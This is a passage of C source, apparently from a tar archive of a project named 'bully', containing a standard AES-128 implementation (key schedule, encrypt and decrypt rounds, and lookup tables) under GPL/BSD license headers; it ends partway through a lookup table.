#include "includes.h"
#include "common.h"
#include "crypto.h"
#include "aes_i.h"
/**
* Expand the cipher key into the decryption key schedule.
*
* @return the number of rounds for the given cipher key size.
*/
void rijndaelKeySetupDec(u32 rk[/*44*/], const u8 cipherKey[])
{
int Nr = 10, i, j;
u32 temp;
/* expand the cipher key: */
rijndaelKeySetupEnc(rk, cipherKey);
/* invert the order of the round keys: */
for (i = 0, j = 4*Nr; i < j; i += 4, j -= 4) {
temp = rk[i ]; rk[i ] = rk[j ]; rk[j ] = temp;
temp = rk[i + 1]; rk[i + 1] = rk[j + 1]; rk[j + 1] = temp;
temp = rk[i + 2]; rk[i + 2] = rk[j + 2]; rk[j + 2] = temp;
temp = rk[i + 3]; rk[i + 3] = rk[j + 3]; rk[j + 3] = temp;
}
/* apply the inverse MixColumn transform to all round keys but the
* first and the last: */
for (i = 1; i < Nr; i++) {
rk += 4;
for (j = 0; j < 4; j++) {
rk[j] = TD0_(TE4((rk[j] >> 24) )) ^
TD1_(TE4((rk[j] >> 16) & 0xff)) ^
TD2_(TE4((rk[j] >> 8) & 0xff)) ^
TD3_(TE4((rk[j] ) & 0xff));
}
}
}
void * aes_decrypt_init(const u8 *key, size_t len)
{
u32 *rk;
if (len != 16)
return NULL;
rk = os_malloc(AES_PRIV_SIZE);
if (rk == NULL)
return NULL;
rijndaelKeySetupDec(rk, key);
return rk;
}
static void rijndaelDecrypt(const u32 rk[/*44*/], const u8 ct[16], u8 pt[16])
{
u32 s0, s1, s2, s3, t0, t1, t2, t3;
const int Nr = 10;
#ifndef FULL_UNROLL
int r;
#endif /* ?FULL_UNROLL */
/*
* map byte array block to cipher state
* and add initial round key:
*/
s0 = GETU32(ct ) ^ rk[0];
s1 = GETU32(ct + 4) ^ rk[1];
s2 = GETU32(ct + 8) ^ rk[2];
s3 = GETU32(ct + 12) ^ rk[3];
#define ROUND(i,d,s) \
d##0 = TD0(s##0) ^ TD1(s##3) ^ TD2(s##2) ^ TD3(s##1) ^ rk[4 * i]; \
d##1 = TD0(s##1) ^ TD1(s##0) ^ TD2(s##3) ^ TD3(s##2) ^ rk[4 * i + 1]; \
d##2 = TD0(s##2) ^ TD1(s##1) ^ TD2(s##0) ^ TD3(s##3) ^ rk[4 * i + 2]; \
d##3 = TD0(s##3) ^ TD1(s##2) ^ TD2(s##1) ^ TD3(s##0) ^ rk[4 * i + 3]
#ifdef FULL_UNROLL
ROUND(1,t,s);
ROUND(2,s,t);
ROUND(3,t,s);
ROUND(4,s,t);
ROUND(5,t,s);
ROUND(6,s,t);
ROUND(7,t,s);
ROUND(8,s,t);
ROUND(9,t,s);
rk += Nr << 2;
#else /* !FULL_UNROLL */
/* Nr - 1 full rounds: */
r = Nr >> 1;
for (;;) {
ROUND(1,t,s);
rk += 8;
if (--r == 0)
break;
ROUND(0,s,t);
}
#endif /* ?FULL_UNROLL */
#undef ROUND
/*
* apply last round and
* map cipher state to byte array block:
*/
s0 = TD41(t0) ^ TD42(t3) ^ TD43(t2) ^ TD44(t1) ^ rk[0];
PUTU32(pt , s0);
s1 = TD41(t1) ^ TD42(t0) ^ TD43(t3) ^ TD44(t2) ^ rk[1];
PUTU32(pt + 4, s1);
s2 = TD41(t2) ^ TD42(t1) ^ TD43(t0) ^ TD44(t3) ^ rk[2];
PUTU32(pt + 8, s2);
s3 = TD41(t3) ^ TD42(t2) ^ TD43(t1) ^ TD44(t0) ^ rk[3];
PUTU32(pt + 12, s3);
}
void aes_decrypt(void *ctx, const u8 *crypt, u8 *plain)
{
rijndaelDecrypt(ctx, crypt, plain);
}
void aes_decrypt_deinit(void *ctx)
{
os_memset(ctx, 0, AES_PRIV_SIZE);
os_free(ctx);
}
bully-1.4-00/src/crypto/aes-internal-enc.c 0000775 0000000 0000000 00000005237 13615304636 0020343 0 ustar 00root root 0000000 0000000 /*
* AES (Rijndael) cipher - encrypt
*
* Modifications to public domain implementation:
* - support only 128-bit keys
* - cleanup
* - use C pre-processor to make it easier to change S table access
* - added option (AES_SMALL_TABLES) for reducing code size by about 8 kB at
* cost of reduced throughput (quite small difference on Pentium 4,
* 10-25% when using -O1 or -O2 optimization)
*
* Copyright (c) 2003-2005, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
#include "includes.h"
#include "common.h"
#include "crypto.h"
#include "aes_i.h"
void rijndaelEncrypt(const u32 rk[/*44*/], const u8 pt[16], u8 ct[16])
{
u32 s0, s1, s2, s3, t0, t1, t2, t3;
const int Nr = 10;
#ifndef FULL_UNROLL
int r;
#endif /* ?FULL_UNROLL */
/*
* map byte array block to cipher state
* and add initial round key:
*/
s0 = GETU32(pt ) ^ rk[0];
s1 = GETU32(pt + 4) ^ rk[1];
s2 = GETU32(pt + 8) ^ rk[2];
s3 = GETU32(pt + 12) ^ rk[3];
#define ROUND(i,d,s) \
d##0 = TE0(s##0) ^ TE1(s##1) ^ TE2(s##2) ^ TE3(s##3) ^ rk[4 * i]; \
d##1 = TE0(s##1) ^ TE1(s##2) ^ TE2(s##3) ^ TE3(s##0) ^ rk[4 * i + 1]; \
d##2 = TE0(s##2) ^ TE1(s##3) ^ TE2(s##0) ^ TE3(s##1) ^ rk[4 * i + 2]; \
d##3 = TE0(s##3) ^ TE1(s##0) ^ TE2(s##1) ^ TE3(s##2) ^ rk[4 * i + 3]
#ifdef FULL_UNROLL
ROUND(1,t,s);
ROUND(2,s,t);
ROUND(3,t,s);
ROUND(4,s,t);
ROUND(5,t,s);
ROUND(6,s,t);
ROUND(7,t,s);
ROUND(8,s,t);
ROUND(9,t,s);
rk += Nr << 2;
#else /* !FULL_UNROLL */
/* Nr - 1 full rounds: */
r = Nr >> 1;
for (;;) {
ROUND(1,t,s);
rk += 8;
if (--r == 0)
break;
ROUND(0,s,t);
}
#endif /* ?FULL_UNROLL */
#undef ROUND
/*
* apply last round and
* map cipher state to byte array block:
*/
s0 = TE41(t0) ^ TE42(t1) ^ TE43(t2) ^ TE44(t3) ^ rk[0];
PUTU32(ct , s0);
s1 = TE41(t1) ^ TE42(t2) ^ TE43(t3) ^ TE44(t0) ^ rk[1];
PUTU32(ct + 4, s1);
s2 = TE41(t2) ^ TE42(t3) ^ TE43(t0) ^ TE44(t1) ^ rk[2];
PUTU32(ct + 8, s2);
s3 = TE41(t3) ^ TE42(t0) ^ TE43(t1) ^ TE44(t2) ^ rk[3];
PUTU32(ct + 12, s3);
}
void * aes_encrypt_init(const u8 *key, size_t len)
{
u32 *rk;
if (len != 16)
return NULL;
rk = os_malloc(AES_PRIV_SIZE);
if (rk == NULL)
return NULL;
rijndaelKeySetupEnc(rk, key);
return rk;
}
void aes_encrypt(void *ctx, const u8 *plain, u8 *crypt)
{
rijndaelEncrypt(ctx, plain, crypt);
}
void aes_encrypt_deinit(void *ctx)
{
os_memset(ctx, 0, AES_PRIV_SIZE);
os_free(ctx);
}
bully-1.4-00/src/crypto/aes-internal.c 0000775 0000000 0000000 00000120766 13615304636 0017605 0 ustar 00root root 0000000 0000000 /*
* AES (Rijndael) cipher
*
* Modifications to public domain implementation:
* - support only 128-bit keys
* - cleanup
* - use C pre-processor to make it easier to change S table access
* - added option (AES_SMALL_TABLES) for reducing code size by about 8 kB at
* cost of reduced throughput (quite small difference on Pentium 4,
* 10-25% when using -O1 or -O2 optimization)
*
* Copyright (c) 2003-2005, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
#include "includes.h"
#include "common.h"
#include "crypto.h"
#include "aes_i.h"
/*
* rijndael-alg-fst.c
*
* @version 3.0 (December 2000)
*
* Optimised ANSI C code for the Rijndael cipher (now AES)
*
* @author Vincent Rijmen
* @author Antoon Bosselaers
* @author Paulo Barreto
*
* This code is hereby placed in the public domain.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHORS ''AS IS'' AND ANY EXPRESS
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHORS OR CONTRIBUTORS BE
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR
* BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
* WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE
* OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
/*
Te0[x] = S [x].[02, 01, 01, 03];
Te1[x] = S [x].[03, 02, 01, 01];
Te2[x] = S [x].[01, 03, 02, 01];
Te3[x] = S [x].[01, 01, 03, 02];
Te4[x] = S [x].[01, 01, 01, 01];
Td0[x] = Si[x].[0e, 09, 0d, 0b];
Td1[x] = Si[x].[0b, 0e, 09, 0d];
Td2[x] = Si[x].[0d, 0b, 0e, 09];
Td3[x] = Si[x].[09, 0d, 0b, 0e];
Td4[x] = Si[x].[01, 01, 01, 01];
*/
const u32 Te0[256] = {
0xc66363a5U, 0xf87c7c84U, 0xee777799U, 0xf67b7b8dU,
0xfff2f20dU, 0xd66b6bbdU, 0xde6f6fb1U, 0x91c5c554U,
0x60303050U, 0x02010103U, 0xce6767a9U, 0x562b2b7dU,
0xe7fefe19U, 0xb5d7d762U, 0x4dababe6U, 0xec76769aU,
0x8fcaca45U, 0x1f82829dU, 0x89c9c940U, 0xfa7d7d87U,
0xeffafa15U, 0xb25959ebU, 0x8e4747c9U, 0xfbf0f00bU,
0x41adadecU, 0xb3d4d467U, 0x5fa2a2fdU, 0x45afafeaU,
0x239c9cbfU, 0x53a4a4f7U, 0xe4727296U, 0x9bc0c05bU,
0x75b7b7c2U, 0xe1fdfd1cU, 0x3d9393aeU, 0x4c26266aU,
0x6c36365aU, 0x7e3f3f41U, 0xf5f7f702U, 0x83cccc4fU,
0x6834345cU, 0x51a5a5f4U, 0xd1e5e534U, 0xf9f1f108U,
0xe2717193U, 0xabd8d873U, 0x62313153U, 0x2a15153fU,
0x0804040cU, 0x95c7c752U, 0x46232365U, 0x9dc3c35eU,
0x30181828U, 0x379696a1U, 0x0a05050fU, 0x2f9a9ab5U,
0x0e070709U, 0x24121236U, 0x1b80809bU, 0xdfe2e23dU,
0xcdebeb26U, 0x4e272769U, 0x7fb2b2cdU, 0xea75759fU,
0x1209091bU, 0x1d83839eU, 0x582c2c74U, 0x341a1a2eU,
0x361b1b2dU, 0xdc6e6eb2U, 0xb45a5aeeU, 0x5ba0a0fbU,
0xa45252f6U, 0x763b3b4dU, 0xb7d6d661U, 0x7db3b3ceU,
0x5229297bU, 0xdde3e33eU, 0x5e2f2f71U, 0x13848497U,
0xa65353f5U, 0xb9d1d168U, 0x00000000U, 0xc1eded2cU,
0x40202060U, 0xe3fcfc1fU, 0x79b1b1c8U, 0xb65b5bedU,
0xd46a6abeU, 0x8dcbcb46U, 0x67bebed9U, 0x7239394bU,
0x944a4adeU, 0x984c4cd4U, 0xb05858e8U, 0x85cfcf4aU,
0xbbd0d06bU, 0xc5efef2aU, 0x4faaaae5U, 0xedfbfb16U,
0x864343c5U, 0x9a4d4dd7U, 0x66333355U, 0x11858594U,
0x8a4545cfU, 0xe9f9f910U, 0x04020206U, 0xfe7f7f81U,
0xa05050f0U, 0x783c3c44U, 0x259f9fbaU, 0x4ba8a8e3U,
0xa25151f3U, 0x5da3a3feU, 0x804040c0U, 0x058f8f8aU,
0x3f9292adU, 0x219d9dbcU, 0x70383848U, 0xf1f5f504U,
0x63bcbcdfU, 0x77b6b6c1U, 0xafdada75U, 0x42212163U,
0x20101030U, 0xe5ffff1aU, 0xfdf3f30eU, 0xbfd2d26dU,
0x81cdcd4cU, 0x180c0c14U, 0x26131335U, 0xc3ecec2fU,
0xbe5f5fe1U, 0x359797a2U, 0x884444ccU, 0x2e171739U,
0x93c4c457U, 0x55a7a7f2U, 0xfc7e7e82U, 0x7a3d3d47U,
0xc86464acU, 0xba5d5de7U, 0x3219192bU, 0xe6737395U,
0xc06060a0U, 0x19818198U, 0x9e4f4fd1U, 0xa3dcdc7fU,
0x44222266U, 0x542a2a7eU, 0x3b9090abU, 0x0b888883U,
0x8c4646caU, 0xc7eeee29U, 0x6bb8b8d3U, 0x2814143cU,
0xa7dede79U, 0xbc5e5ee2U, 0x160b0b1dU, 0xaddbdb76U,
0xdbe0e03bU, 0x64323256U, 0x743a3a4eU, 0x140a0a1eU,
0x924949dbU, 0x0c06060aU, 0x4824246cU, 0xb85c5ce4U,
0x9fc2c25dU, 0xbdd3d36eU, 0x43acacefU, 0xc46262a6U,
0x399191a8U, 0x319595a4U, 0xd3e4e437U, 0xf279798bU,
0xd5e7e732U, 0x8bc8c843U, 0x6e373759U, 0xda6d6db7U,
0x018d8d8cU, 0xb1d5d564U, 0x9c4e4ed2U, 0x49a9a9e0U,
0xd86c6cb4U, 0xac5656faU, 0xf3f4f407U, 0xcfeaea25U,
0xca6565afU, 0xf47a7a8eU, 0x47aeaee9U, 0x10080818U,
0x6fbabad5U, 0xf0787888U, 0x4a25256fU, 0x5c2e2e72U,
0x381c1c24U, 0x57a6a6f1U, 0x73b4b4c7U, 0x97c6c651U,
0xcbe8e823U, 0xa1dddd7cU, 0xe874749cU, 0x3e1f1f21U,
0x964b4bddU, 0x61bdbddcU, 0x0d8b8b86U, 0x0f8a8a85U,
0xe0707090U, 0x7c3e3e42U, 0x71b5b5c4U, 0xcc6666aaU,
0x904848d8U, 0x06030305U, 0xf7f6f601U, 0x1c0e0e12U,
0xc26161a3U, 0x6a35355fU, 0xae5757f9U, 0x69b9b9d0U,
0x17868691U, 0x99c1c158U, 0x3a1d1d27U, 0x279e9eb9U,
0xd9e1e138U, 0xebf8f813U, 0x2b9898b3U, 0x22111133U,
0xd26969bbU, 0xa9d9d970U, 0x078e8e89U, 0x339494a7U,
0x2d9b9bb6U, 0x3c1e1e22U, 0x15878792U, 0xc9e9e920U,
0x87cece49U, 0xaa5555ffU, 0x50282878U, 0xa5dfdf7aU,
0x038c8c8fU, 0x59a1a1f8U, 0x09898980U, 0x1a0d0d17U,
0x65bfbfdaU, 0xd7e6e631U, 0x844242c6U, 0xd06868b8U,
0x824141c3U, 0x299999b0U, 0x5a2d2d77U, 0x1e0f0f11U,
0x7bb0b0cbU, 0xa85454fcU, 0x6dbbbbd6U, 0x2c16163aU,
};
#ifndef AES_SMALL_TABLES
const u32 Te1[256] = {
0xa5c66363U, 0x84f87c7cU, 0x99ee7777U, 0x8df67b7bU,
0x0dfff2f2U, 0xbdd66b6bU, 0xb1de6f6fU, 0x5491c5c5U,
0x50603030U, 0x03020101U, 0xa9ce6767U, 0x7d562b2bU,
0x19e7fefeU, 0x62b5d7d7U, 0xe64dababU, 0x9aec7676U,
0x458fcacaU, 0x9d1f8282U, 0x4089c9c9U, 0x87fa7d7dU,
0x15effafaU, 0xebb25959U, 0xc98e4747U, 0x0bfbf0f0U,
0xec41adadU, 0x67b3d4d4U, 0xfd5fa2a2U, 0xea45afafU,
0xbf239c9cU, 0xf753a4a4U, 0x96e47272U, 0x5b9bc0c0U,
0xc275b7b7U, 0x1ce1fdfdU, 0xae3d9393U, 0x6a4c2626U,
0x5a6c3636U, 0x417e3f3fU, 0x02f5f7f7U, 0x4f83ccccU,
0x5c683434U, 0xf451a5a5U, 0x34d1e5e5U, 0x08f9f1f1U,
0x93e27171U, 0x73abd8d8U, 0x53623131U, 0x3f2a1515U,
0x0c080404U, 0x5295c7c7U, 0x65462323U, 0x5e9dc3c3U,
0x28301818U, 0xa1379696U, 0x0f0a0505U, 0xb52f9a9aU,
0x090e0707U, 0x36241212U, 0x9b1b8080U, 0x3ddfe2e2U,
0x26cdebebU, 0x694e2727U, 0xcd7fb2b2U, 0x9fea7575U,
0x1b120909U, 0x9e1d8383U, 0x74582c2cU, 0x2e341a1aU,
0x2d361b1bU, 0xb2dc6e6eU, 0xeeb45a5aU, 0xfb5ba0a0U,
0xf6a45252U, 0x4d763b3bU, 0x61b7d6d6U, 0xce7db3b3U,
0x7b522929U, 0x3edde3e3U, 0x715e2f2fU, 0x97138484U,
0xf5a65353U, 0x68b9d1d1U, 0x00000000U, 0x2cc1ededU,
0x60402020U, 0x1fe3fcfcU, 0xc879b1b1U, 0xedb65b5bU,
0xbed46a6aU, 0x468dcbcbU, 0xd967bebeU, 0x4b723939U,
0xde944a4aU, 0xd4984c4cU, 0xe8b05858U, 0x4a85cfcfU,
0x6bbbd0d0U, 0x2ac5efefU, 0xe54faaaaU, 0x16edfbfbU,
0xc5864343U, 0xd79a4d4dU, 0x55663333U, 0x94118585U,
0xcf8a4545U, 0x10e9f9f9U, 0x06040202U, 0x81fe7f7fU,
0xf0a05050U, 0x44783c3cU, 0xba259f9fU, 0xe34ba8a8U,
0xf3a25151U, 0xfe5da3a3U, 0xc0804040U, 0x8a058f8fU,
0xad3f9292U, 0xbc219d9dU, 0x48703838U, 0x04f1f5f5U,
0xdf63bcbcU, 0xc177b6b6U, 0x75afdadaU, 0x63422121U,
0x30201010U, 0x1ae5ffffU, 0x0efdf3f3U, 0x6dbfd2d2U,
0x4c81cdcdU, 0x14180c0cU, 0x35261313U, 0x2fc3ececU,
0xe1be5f5fU, 0xa2359797U, 0xcc884444U, 0x392e1717U,
0x5793c4c4U, 0xf255a7a7U, 0x82fc7e7eU, 0x477a3d3dU,
0xacc86464U, 0xe7ba5d5dU, 0x2b321919U, 0x95e67373U,
0xa0c06060U, 0x98198181U, 0xd19e4f4fU, 0x7fa3dcdcU,
0x66442222U, 0x7e542a2aU, 0xab3b9090U, 0x830b8888U,
0xca8c4646U, 0x29c7eeeeU, 0xd36bb8b8U, 0x3c281414U,
0x79a7dedeU, 0xe2bc5e5eU, 0x1d160b0bU, 0x76addbdbU,
0x3bdbe0e0U, 0x56643232U, 0x4e743a3aU, 0x1e140a0aU,
0xdb924949U, 0x0a0c0606U, 0x6c482424U, 0xe4b85c5cU,
0x5d9fc2c2U, 0x6ebdd3d3U, 0xef43acacU, 0xa6c46262U,
0xa8399191U, 0xa4319595U, 0x37d3e4e4U, 0x8bf27979U,
0x32d5e7e7U, 0x438bc8c8U, 0x596e3737U, 0xb7da6d6dU,
0x8c018d8dU, 0x64b1d5d5U, 0xd29c4e4eU, 0xe049a9a9U,
0xb4d86c6cU, 0xfaac5656U, 0x07f3f4f4U, 0x25cfeaeaU,
0xafca6565U, 0x8ef47a7aU, 0xe947aeaeU, 0x18100808U,
0xd56fbabaU, 0x88f07878U, 0x6f4a2525U, 0x725c2e2eU,
0x24381c1cU, 0xf157a6a6U, 0xc773b4b4U, 0x5197c6c6U,
0x23cbe8e8U, 0x7ca1ddddU, 0x9ce87474U, 0x213e1f1fU,
0xdd964b4bU, 0xdc61bdbdU, 0x860d8b8bU, 0x850f8a8aU,
0x90e07070U, 0x427c3e3eU, 0xc471b5b5U, 0xaacc6666U,
0xd8904848U, 0x05060303U, 0x01f7f6f6U, 0x121c0e0eU,
0xa3c26161U, 0x5f6a3535U, 0xf9ae5757U, 0xd069b9b9U,
0x91178686U, 0x5899c1c1U, 0x273a1d1dU, 0xb9279e9eU,
0x38d9e1e1U, 0x13ebf8f8U, 0xb32b9898U, 0x33221111U,
0xbbd26969U, 0x70a9d9d9U, 0x89078e8eU, 0xa7339494U,
0xb62d9b9bU, 0x223c1e1eU, 0x92158787U, 0x20c9e9e9U,
0x4987ceceU, 0xffaa5555U, 0x78502828U, 0x7aa5dfdfU,
0x8f038c8cU, 0xf859a1a1U, 0x80098989U, 0x171a0d0dU,
0xda65bfbfU, 0x31d7e6e6U, 0xc6844242U, 0xb8d06868U,
0xc3824141U, 0xb0299999U, 0x775a2d2dU, 0x111e0f0fU,
0xcb7bb0b0U, 0xfca85454U, 0xd66dbbbbU, 0x3a2c1616U,
};
const u32 Te2[256] = {
0x63a5c663U, 0x7c84f87cU, 0x7799ee77U, 0x7b8df67bU,
0xf20dfff2U, 0x6bbdd66bU, 0x6fb1de6fU, 0xc55491c5U,
0x30506030U, 0x01030201U, 0x67a9ce67U, 0x2b7d562bU,
0xfe19e7feU, 0xd762b5d7U, 0xabe64dabU, 0x769aec76U,
0xca458fcaU, 0x829d1f82U, 0xc94089c9U, 0x7d87fa7dU,
0xfa15effaU, 0x59ebb259U, 0x47c98e47U, 0xf00bfbf0U,
0xadec41adU, 0xd467b3d4U, 0xa2fd5fa2U, 0xafea45afU,
0x9cbf239cU, 0xa4f753a4U, 0x7296e472U, 0xc05b9bc0U,
0xb7c275b7U, 0xfd1ce1fdU, 0x93ae3d93U, 0x266a4c26U,
0x365a6c36U, 0x3f417e3fU, 0xf702f5f7U, 0xcc4f83ccU,
0x345c6834U, 0xa5f451a5U, 0xe534d1e5U, 0xf108f9f1U,
0x7193e271U, 0xd873abd8U, 0x31536231U, 0x153f2a15U,
0x040c0804U, 0xc75295c7U, 0x23654623U, 0xc35e9dc3U,
0x18283018U, 0x96a13796U, 0x050f0a05U, 0x9ab52f9aU,
0x07090e07U, 0x12362412U, 0x809b1b80U, 0xe23ddfe2U,
0xeb26cdebU, 0x27694e27U, 0xb2cd7fb2U, 0x759fea75U,
0x091b1209U, 0x839e1d83U, 0x2c74582cU, 0x1a2e341aU,
0x1b2d361bU, 0x6eb2dc6eU, 0x5aeeb45aU, 0xa0fb5ba0U,
0x52f6a452U, 0x3b4d763bU, 0xd661b7d6U, 0xb3ce7db3U,
0x297b5229U, 0xe33edde3U, 0x2f715e2fU, 0x84971384U,
0x53f5a653U, 0xd168b9d1U, 0x00000000U, 0xed2cc1edU,
0x20604020U, 0xfc1fe3fcU, 0xb1c879b1U, 0x5bedb65bU,
0x6abed46aU, 0xcb468dcbU, 0xbed967beU, 0x394b7239U,
0x4ade944aU, 0x4cd4984cU, 0x58e8b058U, 0xcf4a85cfU,
0xd06bbbd0U, 0xef2ac5efU, 0xaae54faaU, 0xfb16edfbU,
0x43c58643U, 0x4dd79a4dU, 0x33556633U, 0x85941185U,
0x45cf8a45U, 0xf910e9f9U, 0x02060402U, 0x7f81fe7fU,
0x50f0a050U, 0x3c44783cU, 0x9fba259fU, 0xa8e34ba8U,
0x51f3a251U, 0xa3fe5da3U, 0x40c08040U, 0x8f8a058fU,
0x92ad3f92U, 0x9dbc219dU, 0x38487038U, 0xf504f1f5U,
0xbcdf63bcU, 0xb6c177b6U, 0xda75afdaU, 0x21634221U,
0x10302010U, 0xff1ae5ffU, 0xf30efdf3U, 0xd26dbfd2U,
0xcd4c81cdU, 0x0c14180cU, 0x13352613U, 0xec2fc3ecU,
0x5fe1be5fU, 0x97a23597U, 0x44cc8844U, 0x17392e17U,
0xc45793c4U, 0xa7f255a7U, 0x7e82fc7eU, 0x3d477a3dU,
0x64acc864U, 0x5de7ba5dU, 0x192b3219U, 0x7395e673U,
0x60a0c060U, 0x81981981U, 0x4fd19e4fU, 0xdc7fa3dcU,
0x22664422U, 0x2a7e542aU, 0x90ab3b90U, 0x88830b88U,
0x46ca8c46U, 0xee29c7eeU, 0xb8d36bb8U, 0x143c2814U,
0xde79a7deU, 0x5ee2bc5eU, 0x0b1d160bU, 0xdb76addbU,
0xe03bdbe0U, 0x32566432U, 0x3a4e743aU, 0x0a1e140aU,
0x49db9249U, 0x060a0c06U, 0x246c4824U, 0x5ce4b85cU,
0xc25d9fc2U, 0xd36ebdd3U, 0xacef43acU, 0x62a6c462U,
0x91a83991U, 0x95a43195U, 0xe437d3e4U, 0x798bf279U,
0xe732d5e7U, 0xc8438bc8U, 0x37596e37U, 0x6db7da6dU,
0x8d8c018dU, 0xd564b1d5U, 0x4ed29c4eU, 0xa9e049a9U,
0x6cb4d86cU, 0x56faac56U, 0xf407f3f4U, 0xea25cfeaU,
0x65afca65U, 0x7a8ef47aU, 0xaee947aeU, 0x08181008U,
0xbad56fbaU, 0x7888f078U, 0x256f4a25U, 0x2e725c2eU,
0x1c24381cU, 0xa6f157a6U, 0xb4c773b4U, 0xc65197c6U,
0xe823cbe8U, 0xdd7ca1ddU, 0x749ce874U, 0x1f213e1fU,
0x4bdd964bU, 0xbddc61bdU, 0x8b860d8bU, 0x8a850f8aU,
0x7090e070U, 0x3e427c3eU, 0xb5c471b5U, 0x66aacc66U,
0x48d89048U, 0x03050603U, 0xf601f7f6U, 0x0e121c0eU,
0x61a3c261U, 0x355f6a35U, 0x57f9ae57U, 0xb9d069b9U,
0x86911786U, 0xc15899c1U, 0x1d273a1dU, 0x9eb9279eU,
0xe138d9e1U, 0xf813ebf8U, 0x98b32b98U, 0x11332211U,
0x69bbd269U, 0xd970a9d9U, 0x8e89078eU, 0x94a73394U,
0x9bb62d9bU, 0x1e223c1eU, 0x87921587U, 0xe920c9e9U,
0xce4987ceU, 0x55ffaa55U, 0x28785028U, 0xdf7aa5dfU,
0x8c8f038cU, 0xa1f859a1U, 0x89800989U, 0x0d171a0dU,
0xbfda65bfU, 0xe631d7e6U, 0x42c68442U, 0x68b8d068U,
0x41c38241U, 0x99b02999U, 0x2d775a2dU, 0x0f111e0fU,
0xb0cb7bb0U, 0x54fca854U, 0xbbd66dbbU, 0x163a2c16U,
};
const u32 Te3[256] = {
0x6363a5c6U, 0x7c7c84f8U, 0x777799eeU, 0x7b7b8df6U,
0xf2f20dffU, 0x6b6bbdd6U, 0x6f6fb1deU, 0xc5c55491U,
0x30305060U, 0x01010302U, 0x6767a9ceU, 0x2b2b7d56U,
0xfefe19e7U, 0xd7d762b5U, 0xababe64dU, 0x76769aecU,
0xcaca458fU, 0x82829d1fU, 0xc9c94089U, 0x7d7d87faU,
0xfafa15efU, 0x5959ebb2U, 0x4747c98eU, 0xf0f00bfbU,
0xadadec41U, 0xd4d467b3U, 0xa2a2fd5fU, 0xafafea45U,
0x9c9cbf23U, 0xa4a4f753U, 0x727296e4U, 0xc0c05b9bU,
0xb7b7c275U, 0xfdfd1ce1U, 0x9393ae3dU, 0x26266a4cU,
0x36365a6cU, 0x3f3f417eU, 0xf7f702f5U, 0xcccc4f83U,
0x34345c68U, 0xa5a5f451U, 0xe5e534d1U, 0xf1f108f9U,
0x717193e2U, 0xd8d873abU, 0x31315362U, 0x15153f2aU,
0x04040c08U, 0xc7c75295U, 0x23236546U, 0xc3c35e9dU,
0x18182830U, 0x9696a137U, 0x05050f0aU, 0x9a9ab52fU,
0x0707090eU, 0x12123624U, 0x80809b1bU, 0xe2e23ddfU,
0xebeb26cdU, 0x2727694eU, 0xb2b2cd7fU, 0x75759feaU,
0x09091b12U, 0x83839e1dU, 0x2c2c7458U, 0x1a1a2e34U,
0x1b1b2d36U, 0x6e6eb2dcU, 0x5a5aeeb4U, 0xa0a0fb5bU,
0x5252f6a4U, 0x3b3b4d76U, 0xd6d661b7U, 0xb3b3ce7dU,
0x29297b52U, 0xe3e33eddU, 0x2f2f715eU, 0x84849713U,
0x5353f5a6U, 0xd1d168b9U, 0x00000000U, 0xeded2cc1U,
0x20206040U, 0xfcfc1fe3U, 0xb1b1c879U, 0x5b5bedb6U,
0x6a6abed4U, 0xcbcb468dU, 0xbebed967U, 0x39394b72U,
0x4a4ade94U, 0x4c4cd498U, 0x5858e8b0U, 0xcfcf4a85U,
0xd0d06bbbU, 0xefef2ac5U, 0xaaaae54fU, 0xfbfb16edU,
0x4343c586U, 0x4d4dd79aU, 0x33335566U, 0x85859411U,
0x4545cf8aU, 0xf9f910e9U, 0x02020604U, 0x7f7f81feU,
0x5050f0a0U, 0x3c3c4478U, 0x9f9fba25U, 0xa8a8e34bU,
0x5151f3a2U, 0xa3a3fe5dU, 0x4040c080U, 0x8f8f8a05U,
0x9292ad3fU, 0x9d9dbc21U, 0x38384870U, 0xf5f504f1U,
0xbcbcdf63U, 0xb6b6c177U, 0xdada75afU, 0x21216342U,
0x10103020U, 0xffff1ae5U, 0xf3f30efdU, 0xd2d26dbfU,
0xcdcd4c81U, 0x0c0c1418U, 0x13133526U, 0xecec2fc3U,
0x5f5fe1beU, 0x9797a235U, 0x4444cc88U, 0x1717392eU,
0xc4c45793U, 0xa7a7f255U, 0x7e7e82fcU, 0x3d3d477aU,
0x6464acc8U, 0x5d5de7baU, 0x19192b32U, 0x737395e6U,
0x6060a0c0U, 0x81819819U, 0x4f4fd19eU, 0xdcdc7fa3U,
0x22226644U, 0x2a2a7e54U, 0x9090ab3bU, 0x8888830bU,
0x4646ca8cU, 0xeeee29c7U, 0xb8b8d36bU, 0x14143c28U,
0xdede79a7U, 0x5e5ee2bcU, 0x0b0b1d16U, 0xdbdb76adU,
0xe0e03bdbU, 0x32325664U, 0x3a3a4e74U, 0x0a0a1e14U,
0x4949db92U, 0x06060a0cU, 0x24246c48U, 0x5c5ce4b8U,
0xc2c25d9fU, 0xd3d36ebdU, 0xacacef43U, 0x6262a6c4U,
0x9191a839U, 0x9595a431U, 0xe4e437d3U, 0x79798bf2U,
0xe7e732d5U, 0xc8c8438bU, 0x3737596eU, 0x6d6db7daU,
0x8d8d8c01U, 0xd5d564b1U, 0x4e4ed29cU, 0xa9a9e049U,
0x6c6cb4d8U, 0x5656faacU, 0xf4f407f3U, 0xeaea25cfU,
